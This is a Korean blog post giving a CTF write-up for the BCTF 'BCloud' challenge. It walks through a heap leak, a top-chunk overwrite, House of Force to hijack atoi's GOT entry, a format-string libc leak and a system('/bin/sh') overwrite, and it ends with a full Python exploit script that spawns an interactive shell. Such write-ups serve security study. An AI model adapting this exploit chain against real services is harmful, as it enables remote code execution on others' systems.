y0u_bat

[BCTF] BCloud 본문

CTF

[BCTF] BCloud

유뱃 2016. 11. 18. 14:01

[BCTF] BCloud

house of force 관련 문제이다.

메인함수이다.

setting() 이랑 new_note, modify_note 함수만 주의 깊게 보면 된다.

Leak Vulnerability

setting() 함수안에는 get_name과 get_org_host라는 함수로 입력을 받는다.

get_name이라는 gets_(sub804868D)라는 함수로 s에 입력을 받는다.

그리고 v2 에 malloc 으로 0x40만큼 할당한다.


그러면 s와 v2의 스택 상황을 보면, null 바이트 없이 딱 달라붙어 있다.

strcpy(v2,&s)를 할 경우, 힙 청크 상태는 이렇게 된다.

print_name(v2); 함수로 v2를 출력하는데 이때 heap 주소가 leak 된다.

Top Chunk Overwrite

mmap()을 호출하지 않고, 할당하기 위해 Top Chunk를 \xff\xff\xff\xff 로 덮어 써야 된다.



get_name처럼 s를 꽉 채우고, v3를 꽉채우고 v4와 v2에 malloc으로 주소로 덮고,

strcpy(v4,&v3) 을 하게 되면 s 부터 v4까지 쭉 이어지게 된다.

strcpy(v2,&s) 을 하게 되면, Top Chunk까지 덮을수 있게 된다.


strcpy(v2,&s)를 하기 전 청크 상태.


strcpy(v2,&s)를 하고 난 청크 상태. 보면, BBBB로 Top Chunk가 덮힌걸 볼수있다.

Org를 꽉 채우고, Host에 Top Chunk 덮을 내용을 넣어 주면 된다.

House of Force Vulnerability

House of Force 기술을 사용하기 위해서는 3가지의 조건이 필요하다.

  1. Top Chunk를 덮을 수 있어야 된다.

  2. malloc(user input)으로 원하는 사이즈만큼 할당 할 수 있어야 한다.

  3. 마지막으로 한번 더 malloc 할 수 있어야 한다.


new_note() 함수를 보면 input_number(); 입력받은 (숫자+4) 만큼 malloc 할수있다.

그리고 그곳에 wirte 할수있다.

아까 leak한 heap address에서 org,host malloc 한거 까지 생각해서 계산하여

top_chunk 는 leak + 0xd8 이다.

여기서 system 함수를 제공을 하지 않고 libc 파일을 제공 해줬으므로, libc를 릭 해야 된다.

Libc Leak

libc leak idea는 format string bug를 이용하는 것이다.

input_number() 함수에 보면 atoi가 있는데, 이것을 house of force을 이용하여,

atoi got를 printf.got.plt로 덮어 버리면, 포맷스트링 버그를 일으킬수있다.

printf_plt = 0x080484d0atoi_got = 0x0804B03C

allocate_size = atoi_got - (top_chunk - 0x8 - 0x4)

0x8는 previous_size, index_size, 0x4는 malloc(size+4)에서 +4 때문에 빼준다.

malloc(allocate_size) 를 한다음, 다시 한번 malloc 하면, atoi_got - 4 쯤 할당 되는데,

"aaaa" + printf_plt 이런식으로 write해서 atoi_got를 printf 로 덮어버리면 된다.


printf 로 덮고 나서 호출할때, 스택 상황이다.

%3$p 를 하면, 0xf7630ee4라는 주소가 출력 된다.


해당 주소를 보면 puts+324인 주소임을 알수있었다.

libc_base_address = 0x7f630ee4 - (puts_offset + 3224)

system_libc = libc_base_address + system_offset

Exploit

modify_note(); 를 통해, atoi_got를 다시 system_libc로 덮어 버린다.

그러면 최종적으로 쉘이 따진다.

 
from socket import *
from telnetlib import *
import struct
p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)[0]
HOST = "192.168.207.144"
PORT = 4444
printf_plt = 0x080484d0
atoi_got = 0x0804B03C 
def recvuntil(t):
        data = ''
        while not data.endswith(t):
                tmp = s.recv(1)
                if not tmp: break
                data += tmp
        return data
s = socket(AF_INET,SOCK_STREAM)
s.connect((HOST,PORT))
print recvuntil("\n")
s.send("")
s.send("a"*0x40)
print recvuntil("a"*0x40)
heap = up(s.recv(4))
top_chunk = heap + 0xd8 
print recvuntil("Org:\n")
s.send("a"*0x40)
print recvuntil("Host:\n")
s.send("\xff"*4+"\n")
s.send("1\n")
print recvuntil("Input the length of the note content:\n")
allocate_size = atoi_got-top_chunk-0x8-0x4
s.send(str(allocate_size)+'\n')
s.send("1\n")
print recvuntil("Input the length of the note content:\n")
s.send("8\n")
print recvuntil("Input the content:\n")
s.send("a"*4 + p(printf_plt))
print recvuntil("option--->>\n")
raw_input("")
print s.send("%3$p\n") # put+324
libc_base = int(recvuntil("Invalid option.").split("Invalid option.")[0],16) - 324 - 0x64DA0 # libc_base =  puts+324 - (puts_offset+324)
system_addr = libc_base + 0x3FE70
print recvuntil("option--->>\n")
s.send("aaa\n")
print recvuntil("Input the id:\n")
s.send("a\n")
print recvuntil("Input the new content:\n")
s.send("aaaa"+ p(system_addr)+'\n')
s.send("/bin/sh\n")
print "[+] top chunk address : " + hex(heap)
print "[+] libc base addr : " + hex(libc_base)
print "[+] system addr : " + hex(system_addr)
t = Telnet()
t.sock = s
t.interact()


'CTF' 카테고리의 다른 글

[HolyShield] diary - 400pt  (0) 2017.01.08
[HITCON] Secret Holder  (0) 2016.11.24
2016 Whitehat contest Malloc  (5) 2016.11.02
[2016] EKOPARTY PWN25  (0) 2016.10.29
[2016] EKOPARTY PWN100  (0) 2016.10.29
Comments